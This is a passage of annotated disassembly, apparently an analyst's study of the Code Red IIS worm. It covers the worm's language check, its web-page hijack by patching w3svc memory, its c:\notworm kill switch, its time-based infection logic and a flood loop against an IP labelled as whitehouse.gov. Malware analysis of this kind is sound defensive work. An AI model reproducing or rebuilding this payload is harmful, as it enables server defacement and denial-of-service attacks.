seg000:000005AB 89 8D 50 FE FF FF                    mov     [ebp-1B0h], ecx ; store the new
 value  of threadcount
seg000:000005B1 8B 95 50 FE FF FF                    mov     edx, [ebp-1B0h] ; set thread co
unt into edx
seg000:000005B7 69 D2 8D 66 F0 50                    imul    edx, 50F0668Dh  ; Signed Multip
ly
seg000:000005BD 89 95 74 FE FF FF                    mov     [ebp-18Ch], edx ; store the new
 val at ebp-18c
seg000:000005C3 8B 45 08                             mov     eax, [ebp+8]    ; load eax with
 the isapi extension block
seg000:000005C6 8B 8D 50 FE FF FF                    mov     ecx, [ebp-1B0h] ; load ecx with
 the threadcount
seg000:000005CC 89 48 10                             mov     [eax+10h], ecx  ; store threadc
ount in the isapi extension block
seg000:000005CF 8B F4                                mov     esi, esp
seg000:000005D1 8D 95 2C FE FF FF                    lea     edx, [ebp-1D4h] ; Load Effectiv
e Address
seg000:000005D7 52                                   push    edx             ; LPDWORD lpThr
eadId // thread identifier
seg000:000005D8 6A 00                                push    0               ; DWORD dwCreat
ionFlags // creation option
seg000:000005DA 8D 85 4C FE FF FF                    lea     eax, [ebp-1B4h] ; Load Effectiv
e Address
seg000:000005E0 50                                   push    eax             ; LPVOID lpPara
meter // thread argument
seg000:000005E1 8D 8D D0 FE FF FF                    lea     ecx, [ebp-130h] ; Load Effectiv
e Address
seg000:000005E7 51                                   push    ecx             ; LPTHREAD_STAR
T_ROUTINE lpStartAddress // thread function
```

```
seg000:000005E8 6A 00                           push    0               ; DWORD dwStack
Size // initial stack size
seg000:000005EA 6A 00                           push    0               ; LPSECURITY_AT
TRIBUTES lpThreadAttributes //  SD
seg000:000005EC FF 95 98 FE FF FF               call    dword ptr [ebp-168h] ; CreateTh
read
seg000:000005F2 3B F4                           cmp     esi, esp        ; Compare Two O
perands
seg000:000005F4 90                              nop                     ; No Operation
seg000:000005F5 43                              inc     ebx             ; Increment by
1
seg000:000005F6 4B                              dec     ebx             ; Decrement by
1
seg000:000005F7 43                              inc     ebx             ; Increment by
1
seg000:000005F8 4B                              dec     ebx             ; Decrement by
1
seg000:000005F9 E9 9F 01 00 00                  jmp     DO_THE_WORK     ; this exits fr
om sub  224, not positive of the end result.
seg000:000005FE                     ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:000005FE
seg000:000005FE                     TOO_MANY_THREADS:                   ; CODE XREF: DO
_RVA+37C\030j
seg000:000005FE 8B F4                           mov     esi, esp        ; setup a func
seg000:00000600 FF 95 A4 FE FF FF               call    dword ptr [ebp-15Ch] ; GetSyste
mDefaultLangId
seg000:00000606 3B F4                           cmp     esi, esp        ; Compare Two O
perands
seg000:00000608 90                              nop                     ; No Operation
seg000:00000609 43                              inc     ebx             ; Increment by
1
seg000:0000060A 4B                              dec     ebx             ; Decrement by
1
seg000:0000060B 43                              inc     ebx             ; Increment by
1
seg000:0000060C 4B                              dec     ebx             ; Decrement by
1
seg000:0000060D 89 85 4C FE FF FF               mov     [ebp-1B4h], eax ; put default s
ystem languageid in ebp-1b4
seg000:00000613 8B 95 4C FE FF FF               mov     edx, [ebp-1B4h]
seg000:00000619 81 E2 FF FF 00 00               and     edx, 0FFFFh     ; Logical AND
seg000:0000061F 89 95 4C FE FF FF               mov     [ebp-1B4h], edx
seg000:00000625 81 BD 4C FE FF FF+              cmp     dword ptr [ebp-1B4h], 409h ; Co
mpare Two Operands
seg000:0000062F 74 05                           jz      short IS_AMERICAN ; if not engl
ish go
seg000:00000631 E9 67 01 00 00                  jmp     DO_THE_WORK     ; this exits fr
om sub  224, not positive of the end result.
seg000:00000636                     ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000636
seg000:00000636                     IS_AMERICAN:                        ; CODE XREF: DO
_RVA+40B\030j
seg000:00000636 8B F4                           mov     esi, esp
seg000:00000638 68 00 DD 6D 00                  push    6DDD00h         ; this is 2 hou
rs
seg000:0000063D FF 95 A0 FE FF FF               call    dword ptr [ebp-160h] ; Sleep
seg000:0000063D                                                         ;
seg000:0000063D                                                         ; This Sleeps f
or 2 hours
seg000:00000643 3B F4                           cmp     esi, esp        ; Compare Two O
perands
seg000:00000645 90                              nop                     ; No Operation
seg000:00000646 43                              inc     ebx             ; Increment by
1
seg000:00000647 4B                              dec     ebx             ; Decrement by
1
seg000:00000648 43                              inc     ebx             ; Increment by
1
```

```
seg000:00000649 4B                              dec     ebx             ; Decrement by
1
seg000:0000064A E9 80 06 00 00                  jmp     HACK_PAGE_JUMP  ; this sets up
the hacked page bit
seg000:0000064A                 DO_RVA          endp
seg000:0000064A
seg000:0000064F
seg000:0000064F                 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
seg000:0000064F
seg000:0000064F                 ; pop the stack into the counter
seg000:0000064F
seg000:0000064F                 HACK_PAGE       proc near               ; CODE XREF: se
g000:00000CCF\031p
seg000:0000064F 8F 85 4C FE FF FF               pop     dword ptr [ebp-1B4h]
seg000:00000655 8B 85 34 FE FF FF               mov     eax, [ebp-1CCh] ; load eax with
 the current dll base address(probably  w3svc)
seg000:0000065B 89 85 CC FE FF FF               mov     [ebp-134h], eax ; store base at
 ebp-134
seg000:00000661 8B 8D 4C FE FF FF               mov     ecx, [ebp-1B4h] ; load thecount
er into ecx
seg000:00000667 8B 95 B0 FE FF FF               mov     edx, [ebp-150h] ; load edx with
 tcpsocksend
seg000:0000066D 89 11                           mov     [ecx], edx      ; store tcpsock
send at the address popped from the stack
seg000:0000066F 8B 85 4C FE FF FF               mov     eax, [ebp-1B4h] ; load eax with
 the address popped from the stack
seg000:00000675 8B 8D C8 FE FF FF               mov     ecx, [ebp-138h] ; load ecx with
 close  socket
seg000:0000067B 89 48 04                        mov     [eax+4], ecx    ; the next addr
 after  the one popped is replaced with closesocket
seg000:0000067E 8B 95 68 FE FF FF               mov     edx, [ebp-198h] ; store data po
inter in edx
seg000:00000684 89 95 50 FE FF FF               mov     [ebp-1B0h], edx ; store data po
inter at ebp-1b0
seg000:0000068A EB 0F                           jmp     short GET_HTML  ; Jump
seg000:0000068C                 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:0000068C
seg000:0000068C                 GET_HTML_INC:                           ; CODE XREF: HA
CK_PAGE+70\031j
seg000:0000068C 8B 85 50 FE FF FF               mov     eax, [ebp-1B0h] ; Get the next
byte to compare to
seg000:00000692 83 C0 01                        add     eax, 1          ; Add
seg000:00000695 89 85 50 FE FF FF               mov     [ebp-1B0h], eax
seg000:0000069B
seg000:0000069B                 GET_HTML:                               ; CODE XREF: HA
CK_PAGE+3B\030j
seg000:0000069B 8B 8D 68 FE FF FF               mov     ecx, [ebp-198h]
seg000:000006A1 81 C1 00 01 00 00               add     ecx, 100h       ; Add
seg000:000006A7 39 8D 50 FE FF FF               cmp     [ebp-1B0h], ecx ; compare shift
ed URL  to HTML
seg000:000006AD 73 12                           jnb     short FOUND_HTML ; load eax wit
h the   data segment
seg000:000006AF 8B 95 50 FE FF FF               mov     edx, [ebp-1B0h]
seg000:000006B5 81 3A 4C 4D 54 48               cmp     dword ptr [edx], 48544D4Ch ; lo
ok for  HTML
seg000:000006BB 75 02                           jnz     short GET_HTML_INC_JUMP ; Jump
if Not  Zero (ZF=0)
seg000:000006BD EB 02                           jmp     short FOUND_HTML ; load eax wit
h the   data segment
seg000:000006BF                 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:000006BF
seg000:000006BF                 GET_HTML_INC_JUMP:                      ; CODE XREF: HA
CK_PAGE+6C\030j
seg000:000006BF EB CB                           jmp     short GET_HTML_INC ; Get the ne
xt byte to compare to
seg000:000006C1                 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
```

```
seg000:000006C1
seg000:000006C1                  FOUND_HTML:                              ; CODE XREF: HA
CK_PAGE+5E\030j
seg000:000006C1                                                           ; HACK_PAGE+6E
\030j
seg000:000006C1 8B 85 50 FE FF FF                mov     eax, [ebp-1B0h] ; load eax with
 the  data segment
seg000:000006C7 83 C0 04                         add     eax, 4          ; Add
seg000:000006CA 8B 8D 4C FE FF FF                mov     ecx, [ebp-1B4h] ; set ecx with
the counter
seg000:000006D0 89 41 08                         mov     [ecx+8], eax
seg000:000006D3 8B F4                            mov     esi, esp        ; move the web
data into the request return
seg000:000006D5 8D 95 48 FE FF FF                lea     edx, [ebp-1B8h] ; Load Effectiv
e Address
seg000:000006DB 52                               push    edx             ; set ebp-1b8 t
o receive the old page  protection
seg000:000006DC 6A 04                            push    4               ; make page rea
dwrte
seg000:000006DE 68 00 40 00 00                   push    4000h           ; for 4000 hex
bytes
seg000:000006E3 8B 85 CC FE FF FF                mov     eax, [ebp-134h] ; stored write
address for w3svc
seg000:000006E9 50                               push    eax
seg000:000006EA FF 95 A8 FE FF FF                call    dword ptr [ebp-158h] ; VirtualP
rotect
seg000:000006F0 3B F4                            cmp     esi, esp        ; Compare Two O
perands
seg000:000006F2 90                               nop                     ; No Operation
seg000:000006F3 43                               inc     ebx             ; Increment by
1
seg000:000006F4 4B                               dec     ebx             ; Decrement by
1
seg000:000006F5 43                               inc     ebx             ; Increment by
1
seg000:000006F6 4B                               dec     ebx             ; Decrement by
1
seg000:000006F7 C7 85 4C FE FF FF+               mov     dword ptr [ebp-1B4h], 0 ; reset
 counter to 0
seg000:00000701 EB 0F                            jmp     short TCPSOCKSEND_FIND ; check
if counter is 3000h yet
seg000:00000703                  ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000703
seg000:00000703                  TCPSOCKSEND_FIND_INC:                    ; CODE XREF: HA
CK_PAGE+123\031j
seg000:00000703 8B 8D 4C FE FF FF                mov     ecx, [ebp-1B4h]
seg000:00000709 83 C1 01                         add     ecx, 1          ; Add
seg000:0000070C 89 8D 4C FE FF FF                mov     [ebp-1B4h], ecx
seg000:00000712
seg000:00000712                  TCPSOCKSEND_FIND:                        ; CODE XREF: HA
CK_PAGE+B2\030j
seg000:00000712 81 BD 4C FE FF FF+               cmp     dword ptr [ebp-1B4h], 3000h ; c
heck if counter is 3000h yet
seg000:0000071C 7D 56                            jge     short RESET_MEM_PROTECTION ; go
 here if it is
seg000:0000071E 8B 95 CC FE FF FF                mov     edx, [ebp-134h] ; set edx to th
e base
seg000:00000724 03 95 4C FE FF FF                add     edx, [ebp-1B4h] ; add the offse
t from  counter
seg000:0000072A 8B 02                            mov     eax, [edx]      ; store the val
ue at the offset into eax
seg000:0000072C 3B 85 B0 FE FF FF                cmp     eax, [ebp-150h] ; check ebp-150
 against eax(tcpsocksend)
seg000:00000732 75 3E                            jnz     short TCPSOCKSEND_FIND_INC_JUMP
 ; jump here on a not match
seg000:00000734 8B 8D CC FE FF FF                mov     ecx, [ebp-134h] ; load base int
o ecx
seg000:0000073A 03 8D 4C FE FF FF                add     ecx, [ebp-1B4h] ; set ecx to th
e address of tcpsocksend
```

```
seg000:00000740 8B 95 60 FE FF FF                    mov     edx, [ebp-1A0h] ; set edx to o.
C98
seg000:00000746 89 11                                mov     [ecx], edx      ; replace the c
all to  TCPSOCKSEND to o.C98
seg000:00000748 8B F4                                mov     esi, esp
seg000:0000074A 68 00 51 25 02                       push    2255100h        ; sleep for a l
ong time
seg000:0000074F FF 95 A0 FE FF FF                    call    dword ptr [ebp-160h] ; Sleep
seg000:00000755 3B F4                                cmp     esi, esp        ; Compare Two O
perands
seg000:00000757 90                                   nop                     ; No Operation
seg000:00000758 43                                   inc     ebx             ; Increment by
1
seg000:00000759 4B                                   dec     ebx             ; Decrement by
1
seg000:0000075A 43                                   inc     ebx             ; Increment by
1
seg000:0000075B 4B                                   dec     ebx             ; Decrement by
1
seg000:0000075C 8B 85 CC FE FF FF                    mov     eax, [ebp-134h] ; set eax to th
e base  of the loaded dll
seg000:00000762 03 85 4C FE FF FF                    add     eax, [ebp-1B4h] ; set eax to ac
tual address of tcpsocksend
seg000:00000768 8B 8D B0 FE FF FF                    mov     ecx, [ebp-150h] ; set ecx to tc
psocksend
seg000:0000076E 89 08                                mov     [eax], ecx      ; replace the c
all to  tcpsocksend with the original
seg000:00000770 EB 02                                jmp     short RESET_MEM_PROTECTION ; RE
SET_MEM_PROTECTION
seg000:00000772                      ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000772
seg000:00000772                      TCPSOCKSEND_FIND_INC_JUMP:              ; CODE XREF: HA
CK_PAGE+E3\030j
seg000:00000772 EB 8F                                jmp     short TCPSOCKSEND_FIND_INC ; Ju
mp
seg000:00000774                      ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000774
seg000:00000774                      RESET_MEM_PROTECTION:                   ; CODE XREF: HA
CK_PAGE+CD\030j
seg000:00000774                                                              ; HACK_PAGE+121
\030j
seg000:00000774 8B F4                                mov     esi, esp        ; RESET_MEM_PRO
TECTION
seg000:00000776 8D 95 4C FE FF FF                    lea     edx, [ebp-1B4h] ; Load Effectiv
e Address
seg000:0000077C 52                                   push    edx
seg000:0000077D 8B 85 48 FE FF FF                    mov     eax, [ebp-1B8h]
seg000:00000783 50                                   push    eax
seg000:00000784 68 00 40 00 00                       push    4000h
seg000:00000789 8B 8D CC FE FF FF                    mov     ecx, [ebp-134h]
seg000:0000078F 51                                   push    ecx
seg000:00000790 FF 95 A8 FE FF FF                    call    dword ptr [ebp-158h] ; VirtualP
rotect
seg000:00000796 3B F4                                cmp     esi, esp        ; Compare Two O
perands
seg000:00000798 90                                   nop                     ; No Operation
seg000:00000799 43                                   inc     ebx             ; Increment by
1
seg000:0000079A 4B                                   dec     ebx             ; Decrement by
1
seg000:0000079B 43                                   inc     ebx             ; Increment by
1
seg000:0000079C 4B                                   dec     ebx             ; Decrement by
1
seg000:0000079D
seg000:0000079D                      DO_THE_WORK:                            ; CODE XREF: DO
_RVA+3D5\030j
seg000:0000079D                                                              ; DO_RVA+40D
```

```
\030j ...
seg000:0000079D BA 01 00 00 00                  mov     edx, 1          ; this exits fr
om sub  224, not positive of the end result.
seg000:000007A2 85 D2                           test    edx, edx        ; if edx ==0, t
hen jump down to c91
seg000:000007A4 0F 84 E7 04 00 00               jz      TIGHT_LOOP      ; This is a tig
ht loop
seg000:000007AA 8B F4                           mov     esi, esp
seg000:000007AC 6A 00                           push    0               ; HANDLE hTempl
ateFile // handle to template file
seg000:000007AE 68 80 00 00 00                  push    80h ; '\200'      ; DWORD dwFl
agsAndAttributes // file attributes
seg000:000007AE                                                         ; this is FILE_
ATTRIBUTE_NORMAL
seg000:000007B3 6A 03                           push    3               ; DWORD dwCreat
ionDisposition  // how to create
seg000:000007B3                                                         ; this is for O
PEN_EXISTING
seg000:000007B5 6A 00                           push    0               ; LPSECURITY_AT
TRIBUTES lpSecurityAttributes // SD
seg000:000007B7 6A 01                           push    1               ; DWORD dwShare
Mode // share mode
seg000:000007B7                                                         ; this equates
to FILE_SHARE_READ
seg000:000007B9 68 00 00 00 80                  push    80000000h       ; DWORD dwDesir
edAccess // access mode
seg000:000007B9                                                         ; this is for G
ENERIC_READ
seg000:000007BE 8B 85 68 FE FF FF               mov     eax, [ebp-198h]
seg000:000007C4 83 C0 63                        add     eax, 63h ; 'c'  ; this points e
ax to c:\notworm
seg000:000007C7 50                              push    eax             ; LPCTSTR lpFil
eName // file name
seg000:000007C8 FF 95 9C FE FF FF               call    dword ptr [ebp-164h] ; CreateFi
leA
seg000:000007CE 3B F4                           cmp     esi, esp        ; Compare Two O
perands
seg000:000007D0 90                              nop                     ; No Operation
seg000:000007D1 43                              inc     ebx             ; Increment by
1
seg000:000007D2 4B                              dec     ebx             ; Decrement by
1
seg000:000007D3 43                              inc     ebx             ; Increment by
1
seg000:000007D4 4B                              dec     ebx             ; Decrement by
1
seg000:000007D5 89 85 30 FE FF FF               mov     [ebp-1D0h], eax
seg000:000007DB 83 BD 30 FE FF FF+              cmp     dword ptr [ebp-1D0h], 0FFFFFFFF
h ; Compare Two Operands
seg000:000007E2 74 1F                           jz      short NOTWORM_NO ; jump if Crea
tefile  failed
seg000:000007E4
seg000:000007E4                     NOTWORM_YES:                        ; CODE XREF: HA
CK_PAGE+1B2\031j
seg000:000007E4 B9 01 00 00 00                  mov     ecx, 1
seg000:000007E9 85 C9                           test    ecx, ecx        ; Logical Compa
re
seg000:000007EB 74 16                           jz      short NOTWORM_NO ; Jump if Zero
 (ZF=1)
seg000:000007ED 8B F4                           mov     esi, esp
seg000:000007EF 68 FF FF FF 7F                  push    7FFFFFFFh       ; push a LONG t
ime(basically forever)
seg000:000007F4 FF 95 A0 FE FF FF               call    dword ptr [ebp-160h] ; Sleep
seg000:000007F4                                                         ;
seg000:000007FA 3B F4                           cmp     esi, esp        ; Compare Two O
perands
seg000:000007FC 90                              nop                     ; No Operation
seg000:000007FD 43                              inc     ebx             ; Increment by
1
seg000:000007FE 4B                              dec     ebx             ; Decrement by
```

```
1
seg000:000007FF 43                               inc     ebx             ; Increment by
1
seg000:00000800 4B                               dec     ebx             ; Decrement by
1
seg000:00000801 EB E1                            jmp     short NOTWORM_YES ; Jump
seg000:00000803                     ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000803
seg000:00000803                     NOTWORM_NO:                          ; CODE XREF: HA
CK_PAGE+193\030j
seg000:00000803                                                          ; HACK_PAGE+19C
\030j
seg000:00000803 8B F4                            mov     esi, esp
seg000:00000805 8D 95 38 FE FF FF                lea     edx, [ebp-1C8h] ; LPSYSTEMTIME
lpSystemTime // system  time
seg000:0000080B 52                               push    edx
seg000:0000080C FF 95 94 FE FF FF                call    dword ptr [ebp-16Ch] ; GetSyste
mTime
seg000:00000812 3B F4                            cmp     esi, esp        ; Compare Two O
perands
seg000:00000814 90                               nop                     ; No Operation
seg000:00000815 43                               inc     ebx             ; Increment by
1
seg000:00000816 4B                               dec     ebx             ; Decrement by
1
seg000:00000817 43                               inc     ebx             ; Increment by
1
seg000:00000818 4B                               dec     ebx             ; Decrement by
1
seg000:00000819 8B 85 3E FE FF FF                mov     eax, [ebp-1C2h] ; load eax with
 day and hour,  UTC
seg000:0000081F 89 85 4C FE FF FF                mov     [ebp-1B4h], eax ; store day in
ebp-1b4
seg000:00000825 8B 8D 4C FE FF FF                mov     ecx, [ebp-1B4h] ; set ecx to da
y and hour UTC
seg000:0000082B 81 E1 FF FF 00 00                and     ecx, 0FFFFh     ; get lower wor
d(hour, UTC)
seg000:00000831 89 8D 4C FE FF FF                mov     [ebp-1B4h], ecx ; save the UTC
hour at ebp-1b4
seg000:00000837 83 BD 4C FE FF FF+               cmp     dword ptr [ebp-1B4h], 14h ; che
ck if hour is less than 20
seg000:0000083E 0F 8C 47 01 00 00                jl      INFECT_HOST     ; set seconds a
nd milisecond to eax
seg000:00000844
seg000:00000844                     TIME_GREATER_20:                     ; CODE XREF: HA
CK_PAGE+337\031j
seg000:00000844 BA 01 00 00 00                   mov     edx, 1
seg000:00000849 85 D2                            test    edx, edx        ; Logical Compa
re
seg000:0000084B 0F 84 3A 01 00 00                jz      INFECT_HOST     ; set seconds a
nd milisecond to eax
seg000:00000851 8B F4                            mov     esi, esp
seg000:00000853 8D 85 38 FE FF FF                lea     eax, [ebp-1C8h] ; LPSYSTEMTIME
lpSystemTime // system  time
seg000:00000859 50                               push    eax
seg000:0000085A FF 95 94 FE FF FF                call    dword ptr [ebp-16Ch] ; GetSyste
mTime
seg000:00000860 3B F4                            cmp     esi, esp        ; Compare Two O
perands
seg000:00000862 90                               nop                     ; No Operation
seg000:00000863 43                               inc     ebx             ; Increment by
1
seg000:00000864 4B                               dec     ebx             ; Decrement by
1
seg000:00000865 43                               inc     ebx             ; Increment by
1
seg000:00000866 4B                               dec     ebx             ; Decrement by
1
seg000:00000867 8B 8D 3E FE FF FF                mov     ecx, [ebp-1C2h] ; load ecx with
```

```
 day and hour,  UTC
seg000:0000086D 89 8D 4C FE FF FF                   mov     [ebp-1B4h], ecx ; store ecx in
ebp-1b4
seg000:00000873 8B 95 4C FE FF FF                   mov     edx, [ebp-1B4h]
seg000:00000879 81 E2 FF FF 00 00                   and     edx, 0FFFFh      ; load edx with
 day and hour UTC
seg000:0000087F 89 95 4C FE FF FF                   mov     [ebp-1B4h], edx
seg000:00000885 83 BD 4C FE FF FF+                  cmp     dword ptr [ebp-1B4h], 1Ch ; che
ck if hour is less than 28
seg000:0000088C 7C 1F                               jl      short WHITEHOUSE_SOCKET_SETUP ;
 Jump if Less (SF!=OF)
seg000:0000088E
seg000:0000088E                    NEVER_CALLED1:                                ; CODE XREF: HA
CK_PAGE+25C\031j
seg000:0000088E B8 01 00 00 00                      mov     eax, 1           ; this code is
self referential and is never called, as far as can be  seen
seg000:00000893 85 C0                               test    eax, eax         ; Logical Compa
re
seg000:00000895 74 16                               jz      short WHITEHOUSE_SOCKET_SETUP ;
 Jump if Zero (ZF=1)
seg000:00000897 8B F4                               mov     esi, esp
seg000:00000899 68 FF FF FF 7F                      push    7FFFFFFFh
seg000:0000089E FF 95 A0 FE FF FF                   call    dword ptr [ebp-160h] ; Sleep
seg000:000008A4 3B F4                               cmp     esi, esp         ; Compare Two O
perands
seg000:000008A6 90                                  nop                      ; No Operation
seg000:000008A7 43                                  inc     ebx              ; Increment by
1
seg000:000008A8 4B                                  dec     ebx              ; Decrement by
1
seg000:000008A9 43                                  inc     ebx              ; Increment by
1
seg000:000008AA 4B                                  dec     ebx              ; Decrement by
1
seg000:000008AB EB E1                               jmp     short NEVER_CALLED1 ; this code
 is self referential and is never called, as far as can be seen
seg000:000008AD                    ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:000008AD
seg000:000008AD                    WHITEHOUSE_SOCKET_SETUP:                      ; CODE XREF: HA
CK_PAGE+23D\030j
seg000:000008AD                                                                  ; HACK_PAGE+246
\030j
seg000:000008AD 8B F4                               mov     esi, esp
seg000:000008AF 6A 64                               push    64h ; 'd'
seg000:000008B1 FF 95 A0 FE FF FF                   call    dword ptr [ebp-160h] ; Sleep
seg000:000008B7 3B F4                               cmp     esi, esp         ; Compare Two O
perands
seg000:000008B9 90                                  nop                      ; No Operation
seg000:000008BA 43                                  inc     ebx              ; Increment by
1
seg000:000008BB 4B                                  dec     ebx              ; Decrement by
1
seg000:000008BC 43                                  inc     ebx              ; Increment by
1
seg000:000008BD 4B                                  dec     ebx              ; Decrement by
1
seg000:000008BE 8B F4                               mov     esi, esp
seg000:000008C0 6A 00                               push    0                ; int protocol
seg000:000008C2 6A 01                               push    1                ; fam
seg000:000008C4 6A 02                               push    2                ; pr
seg000:000008C6 FF 95 B8 FE FF FF                   call    dword ptr [ebp-148h] ; socket
seg000:000008CC 3B F4                               cmp     esi, esp         ; Compare Two O
perands
seg000:000008CE 90                                  nop                      ; No Operation
seg000:000008CF 43                                  inc     ebx              ; Increment by
1
seg000:000008D0 4B                                  dec     ebx              ; Decrement by
1
seg000:000008D1 43                                  inc     ebx              ; Increment by
```

```
1
seg000:000008D2 4B                                dec     ebx             ; Decrement by
1
seg000:000008D3 89 85 78 FE FF FF                 mov     [ebp-188h], eax ; store sock de
scriptor
seg000:000008D9 66 C7 85 7C FE FF+                mov     word ptr [ebp-184h], 2 ; set af
am
seg000:000008E2 66 C7 85 7E FE FF+                mov     word ptr [ebp-182h], 5000h ; se
t port(80)
seg000:000008EB C7 85 80 FE FF FF+                mov     dword ptr [ebp-180h], 5BF089C6h
 ; set  ip (www.whitehouse.gov)
seg000:000008F5 8B F4                             mov     esi, esp
seg000:000008F7 6A 10                             push    10h             ; push len
seg000:000008F9 8D 8D 7C FE FF FF                 lea     ecx, [ebp-184h] ; push sockaddr
seg000:000008FF 51                                push    ecx
seg000:00000900 8B 95 78 FE FF FF                 mov     edx, [ebp-188h] ; push sock des
criptor
seg000:00000906 52                                push    edx
seg000:00000907 FF 95 BC FE FF FF                 call    dword ptr [ebp-144h] ; connect
seg000:0000090D 3B F4                             cmp     esi, esp        ; Compare Two O
perands
seg000:0000090F 90                                nop                     ; No Operation
seg000:00000910 43                                inc     ebx             ; Increment by
1
seg000:00000911 4B                                dec     ebx             ; Decrement by
1
seg000:00000912 43                                inc     ebx             ; Increment by
1
seg000:00000913 4B                                dec     ebx             ; Decrement by
1
seg000:00000914 C7 85 4C FE FF FF+                mov     dword ptr [ebp-1B4h], 0 ; store
 0 at ebp-1b4
seg000:0000091E EB 0F                             jmp     short WHITEHOUSE_SOCKET_SEND ;
if counter >= 18000h jump
seg000:00000920                    ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000920
seg000:00000920                WHITEHOUSE_SOCKET_SEND_INC:                ; CODE XREF: HA
CK_PAGE+321\031j
seg000:00000920 8B 85 4C FE FF FF                 mov     eax, [ebp-1B4h]
seg000:00000926 83 C0 01                          add     eax, 1          ; inc counter
seg000:00000929 89 85 4C FE FF FF                 mov     [ebp-1B4h], eax
seg000:0000092F
seg000:0000092F                WHITEHOUSE_SOCKET_SEND:                    ; CODE XREF: HA
CK_PAGE+2CF\030j
seg000:0000092F 81 BD 4C FE FF FF+                cmp     dword ptr [ebp-1B4h], 18000h ;
if counter >= 18000h jump
seg000:00000939 7D 37                             jge     short WHITEHOUSE_SLEEP_LOOP ; J
ump if  Greater or Equal (SF=OF)
seg000:0000093B 8B F4                             mov     esi, esp
seg000:0000093D 68 E8 03 00 00                    push    3E8h
seg000:00000942 FF 95 A0 FE FF FF                 call    dword ptr [ebp-160h] ; Sleep
seg000:00000948 3B F4                             cmp     esi, esp        ; Compare Two O
perands
seg000:0000094A 90                                nop                     ; No Operation
seg000:0000094B 43                                inc     ebx             ; Increment by
1
seg000:0000094C 4B                                dec     ebx             ; Decrement by
1
seg000:0000094D 43                                inc     ebx             ; Increment by
1
seg000:0000094E 4B                                dec     ebx             ; Decrement by
1
seg000:0000094F 8B F4                             mov     esi, esp
seg000:00000951 6A 00                             push    0               ; no flags
seg000:00000953 6A 01                             push    1               ; send len 1
seg000:00000955 8D 8D FC FE FF FF                 lea     ecx, [ebp-104h] ; addr of buf
seg000:0000095B 51                                push    ecx
seg000:0000095C 8B 95 78 FE FF FF                 mov     edx, [ebp-188h] ; sock descript
or
```

```
seg000:00000962 52                              push    edx
seg000:00000963 FF 95 C0 FE FF FF               call    dword ptr [ebp-140h] ; Send
seg000:00000963                                                              ;
seg000:00000963                                                              ; sends 1 byte
seg000:00000969 3B F4                           cmp     esi, esp             ; Compare Two O
perands
seg000:0000096B 90                              nop                          ; No Operation
seg000:0000096C 43                              inc     ebx                  ; Increment by
1
seg000:0000096D 4B                              dec     ebx                  ; Decrement by
1
seg000:0000096E 43                              inc     ebx                  ; Increment by
1
seg000:0000096F 4B                              dec     ebx                  ; Decrement by
1
seg000:00000970 EB AE                           jmp     short WHITEHOUSE_SOCKET_SEND_IN
C ; jump back to send
